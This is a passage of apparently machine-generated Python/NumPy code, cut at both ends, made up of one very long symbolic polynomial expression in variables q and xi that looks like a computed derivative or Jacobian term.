0])*(-2*q[0, 0] - 2*q[1, 0] + 4*q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 160351958.315909*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 4.44444444444444*numpy.sqrt(3)*(q[1, 0] - q[2, 0]) + 1053.49794238683*numpy.sqrt(3)*(-q[0, 0] - q[1, 0] + 2*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45) + 1053.49794238683*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 160351958.315909*numpy.sqrt(3)*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 5073636.18108931*numpy.sqrt(3)*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 99887.2123151958*numpy.sqrt(3)*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 1053.49794238683*numpy.sqrt(3)*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 4.44444444444444*numpy.sqrt(3)*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45) + (60131984.3684659*xi**9*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 1522090.85432679*xi**7*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 22474.6227709191*xi**5*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 79.0123456790123*xi**3*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(2*q[3, 0]**2 - 2*q[3, 0]*q[4, 0] - 2*q[3, 0]*q[5, 0] + 2*q[4, 0]**2 - 2*q[4, 0]*q[5, 0] + 2*q[5, 0]**2) + (1/3)*xi*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*(-4810558749.47727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-4*q[0, 0] - 4*q[1, 0] + 8*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 121767268.346143*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-3*q[0, 0] - 3*q[1, 0] + 6*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 1797969.82167352*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-2*q[0, 0] - 2*q[1, 0] + 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 12641.975308642*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-q[0, 0] - q[1, 0] + 2*q[2, 0]) + 4810558749.47727*numpy.sqrt(3)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 121767268.346143*numpy.sqrt(3)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 1797969.82167352*numpy.sqrt(3)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 12641.975308642*numpy.sqrt(3)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 26.6666666666667*numpy.sqrt(3)) + (-160351958.315909*xi**10*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*xi**8*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*xi**6*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*xi**2*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*(12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-4*q[0, 0] - 4*q[1, 0] + 8*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-3*q[0, 0] - 3*q[1, 0] + 6*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-2*q[0, 0] - 2*q[1, 0] + 4*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(-q[0, 0] - q[1, 0] + 2*q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0]) - 12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 355.555555555555*numpy.sqrt(3)*(q[1, 0] - q[2, 0]) - 12828156665.2727*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 405890894.487145*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 7990976.98521566*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 84279.8353909465*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 355.555555555555*numpy.sqrt(3)*(2*q[0, 0] - q[1, 0] - q[2, 0])) + (-160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*((-2435345366.92287*q[1, 0] + 2435345366.92287*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + (-505679.012345679*q[1, 0] + 505679.012345679*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 38484469995.8182*(q[1, 0] - q[2, 0])**2*(-4*q[0, 0] - 4*q[1, 0] + 8*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 1217672683.46143*(q[1, 0] - q[2, 0])**2*(-3*q[0, 0] - 3*q[1, 0] + 6*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 23972930.955647*(q[1, 0] - q[2, 0])**2*(-2*q[0, 0] - 2*q[1, 0] + 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 252839.506172839*(q[1, 0] - q[2, 0])**2*(-q[0, 0] - q[1, 0] + 2*q[2, 0]) + (47945861.911294*q[1, 0] - 47945861.911294*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + (76968939991.6364*q[1, 0] - 76968939991.6364*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 2133.33333333333*q[1, 0] - 2133.33333333333*q[2, 0]), (-4810558749.47727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 121767268.346143*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 1797969.82167352*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 12641.975308642*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 26.6666666666667*numpy.sqrt(3)*(q[1, 0] - q[2, 0]))*(60131984.3684659*xi**9*(8*q[3, 0] - 4*q[4, 0] - 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 60131984.3684659*xi**9*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 1522090.85432679*xi**7*(6*q[3, 0] - 3*q[4, 0] - 3*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 1522090.85432679*xi**7*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 22474.6227709191*xi**5*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) + 22474.6227709191*xi**5*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 79.0123456790123*xi**3*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) - 79.0123456790123*xi**3*(2*q[3, 0]**2 - 2*q[3, 0]*q[4, 0] - 2*q[3, 0]*q[5, 0] + 2*q[4, 0]**2 - 2*q[4, 0]*q[5, 0] + 2*q[5, 0]**2) + (1/3)*xi) + (12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 355.555555555555*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0]))*(-160351958.315909*xi**10*(2*q[3, 0] - q[4, 0] - q[5, 0])*(8*q[3, 0] - 4*q[4, 0] - 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 160351958.315909*xi**10*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 320703916.631818*xi**10*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*xi**8*(2*q[3, 0] - q[4, 0] - q[5, 0])*(6*q[3, 0] - 3*q[4, 0] - 3*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 5073636.18108931*xi**8*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 10147272.3621786*xi**8*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*xi**6*(2*q[3, 0] - q[4, 0] - q[5, 0])*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 99887.2123151958*xi**6*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 199774.424630392*xi**6*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])**2*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) + 1053.49794238683*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) + 2106.99588477366*xi**4*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*xi**2*(2*q[3, 0] - q[4, 0] - q[5, 0]) - 8.88888888888889*xi**2*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)) + (-38484469995.8182*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 1217672683.46143*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 23972930.955647*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 252839.506172839*(q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 1066.66666666667*(q[1, 0] - q[2, 0])**2 + 1)*(-160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(8*q[3, 0] - 4*q[4, 0] - 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(6*q[3, 0] - 3*q[4, 0] - 3*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])**2*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) + 2106.99588477366*numpy.sqrt(3)*xi**4*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[4, 0] - q[5, 0])), (-4810558749.47727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 121767268.346143*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 1797969.82167352*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 12641.975308642*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 26.6666666666667*numpy.sqrt(3)*(q[1, 0] - q[2, 0]))*(60131984.3684659*xi**9*(-4*q[3, 0] + 8*q[4, 0] - 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 60131984.3684659*xi**9*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 1522090.85432679*xi**7*(-3*q[3, 0] + 6*q[4, 0] - 3*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 1522090.85432679*xi**7*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 22474.6227709191*xi**5*(-2*q[3, 0] + 4*q[4, 0] - 2*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) + 22474.6227709191*xi**5*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 79.0123456790123*xi**3*(-2*q[3, 0] + 4*q[4, 0] - 2*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) - 79.0123456790123*xi**3*(2*q[3, 0]**2 - 2*q[3, 0]*q[4, 0] - 2*q[3, 0]*q[5, 0] + 2*q[4, 0]**2 - 2*q[4, 0]*q[5, 0] + 2*q[5, 0]**2) + (1/3)*xi) + (12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 355.555555555555*numpy.sqrt(3)*(q[1, 0] - q[2, 